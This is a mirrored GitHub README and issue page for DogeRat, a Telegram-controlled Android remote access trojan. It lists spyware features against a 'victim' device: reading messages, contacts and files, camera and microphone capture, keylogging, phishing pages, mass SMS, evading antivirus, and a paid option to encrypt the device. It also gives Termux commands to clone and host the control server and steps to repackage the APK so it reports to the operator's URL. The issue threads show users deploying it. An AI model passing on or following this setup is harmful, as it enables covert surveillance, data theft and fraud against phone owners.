Giter Site home page Giter Site logo

did-dog / dogerat Goto Github PK

View Code? Open in Web Editor NEW
17.0 1.0 18.0 16.37 MB

A multifunctional Telegram based Android RAT without port forwarding.

License: MIT License

JavaScript 59.03% Shell 2.51% Kotlin 38.46%
android-botnet android-exploitation android-java android-malware android-pentesting android-rat android-spyware telegram-rat termux-hacking termux-hacking-tool

dogerat's Introduction

DogeRat

DISCLAIMER⚠️


Logo

A multifunctional Telegram based Android RAT without port forwarding

Panel Screenshot

Logo

Features

  • 🔴 Real time
  • 🌐 custom web view
  • 🔔 notification reader
  • 🔔 notification sender (send custom notification that apper on target device with custom click link)
  • 🗨️ show toast message on target device (Toasts are messages that appear in a box at the bottom of the device)
  • 📡 receive information about simcard provider
  • 📳 vibrate target device
  • 🛰️ receive device location
  • ✉️ receive all target message
  • ✉️ send sms with target device to any number
  • ✉️ send sms with target device to all of his/her contacts
  • 👤 recive all target contacts
  • 💻 receive list of all installedd apps in target device
  • 📁 receive any file or folder from target device
  • 📁 delete any file or folder from target device
  • 📷 capture main and front camera
  • 🎙 capture microphone (with custom duration)
  • 📋 receive last clipboard text
  • 🔦 Torch ON & OFF {if flash available on device}
  • ✅️ auto start after device boot
  • 🔐 Open any phising page in victim device
  • 🔐 Keylogger {Availbe in apk v1 and v2}
  • 📱 Control Keys (Back, Recent, Home)
  • 🔊 Control device volume
  • ✨ Beautiful telegram bot interface
  • 🤖 Undetectable by antivirus

    DOGE RAT PAID VERSION FEATURES

  • 🖥️ Screenshot (get screenshot from your victim device)
  • 📒 Gallery puller (Get all photos available in gallery)
  • 🔤 Advance Keylogger
  • 📁 PowerFull file manager {delete and Download Files}
  • Auto grant permissions
  • Decrypt & Encrypt device
  • ✨ Beautiful telegram bot interface
  • 🤖 Undetectable by antivirus

    Telegram Badge Telegram Badge Telegram Badge

Requirements

  • APK EDITOR
  • TERMUX
  • For hosting server code, you can use some free services like:
  • Video Tutorials Available Here

  • Keep in mind that these sites can suspend your projects, so it's better to host on your own computer.

Download

Download Termux Download APK Editor

How to host server in Termux

Run the following commands in Termux:

  pkg update && upgrade -y
  pkg install git -y
  git clone https://github.com/did-dog/DogeRat 
  cd DogeRat
  bash start.sh
Enter your bot token 
Enter your chatid 
And hit enter
Now open a new Tab, and give these commands
pkg install openssh
bash port.sh 
Enter your telegram username And hit enter 
Copy url and minimize the termux

Edit apk

  • Open Apk editor
  • select apk
  • choose full edit
  • select decode all files
  • go to assets folder
  • open host.json
  • and enter url
  • in socket replace url https to wss
  • build apk ,start the bott Enjoy

example

  { 
  "host": "https://yoururl.com/", 
  "socket": "wss://yoururl.com/", 
  "webView": "https://google.com/" 
}

How to Build in Android Studio

To build the application in Android Studio, follow these steps:

  1. Open the Android Studio and import the application source code.
  2. Navigate to the following path in the source code: Utils/AppTools.java.
  3. In the AppTools.java file, locate the data variable and copy your server information into it.
  4. However, before copying the server information directly into the variable, you must encode it using Base64.
  5. Here is an example JSON structure for your server information:
{
"host" : "",
"socket" : "",
"webView" : "https://www.google.com"
}
  1. Fill in the above JSON structure with your server information.
  2. Go to https://www.base64encode.org/ and copy the encoded result of your JSON data.
  3. In Android Studio, paste the encoded result into the data variable.
  4. The final code should look like this:
public static AppData getAppData() {
  String data = "<your encoded server info>";
  String text = decode(data);
  return new Gson().fromJson(text, AppData.class);
}

Important Disclaimer

Note: The developer provides no warranty with this software and will not be responsible for any direct or indirect damage caused by the usage of this tool. Dogerat is built for educational and internal use only.

Attention: We do not endorse any illegal or unethical use of this tool. The user assumes all responsibility for the use of this software.

Important: To prevent any fraudulent activity, please ensure that the Instagram username is @DIDDOG and the Telegram handle is @CYBERSHIELDX. Beware of scams and phishing attempts that use similar usernames or handles.

Thank you for using Dogerat - we hope it serves its intended purpose and helps you achieve your goals!

Sponsorship

If you find my work valuable, you can show your support by sponsoring me. Your contribution will help me maintain and improve my projects, and it will encourage me to create more useful content.

Buy me a coffee

Thank you to the following people for their support:


Technology Stack Used

Javascript Shell Java Shell


🔗 Help / Contact and Social Media Accounts

Telegram Badge Instagram Badge Facebook Badge Twitter Badge Youtube Badge



dogerat's People

Contributors

did-dog avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

dogerat's Issues

Live Cam

Is it possible to ensure that the cameras are live with a link generated by the remote server

APK cannot send WSS request, but can send https requests.

data.json in APK

{
  "host" : "https://dogerat-thad.onrender.com/",
  "socket" : "wss://dogerat-thad.onrender.com/",
  "webView" : "https://www.youtube.com/"
}

image

In the image above, the bot can send a HTTPS request to send a text message. However, it cannot establish a connect with the websocket server as the bot detects no device.

The code has not been modified whatsoever it has been forked.

I ran the APK on BlueStack 5

Error ETELEGRAM: 409 Conflict

I got this error on Render.com
pLease fix it .
error: [polling_error] {"code":"ETELEGRAM","message":"ETELEGRAM: 409 Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}
Screenshot 2024-05-01 021617

Auto Build

Hi, it is possible to put an autobuild in the next version

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.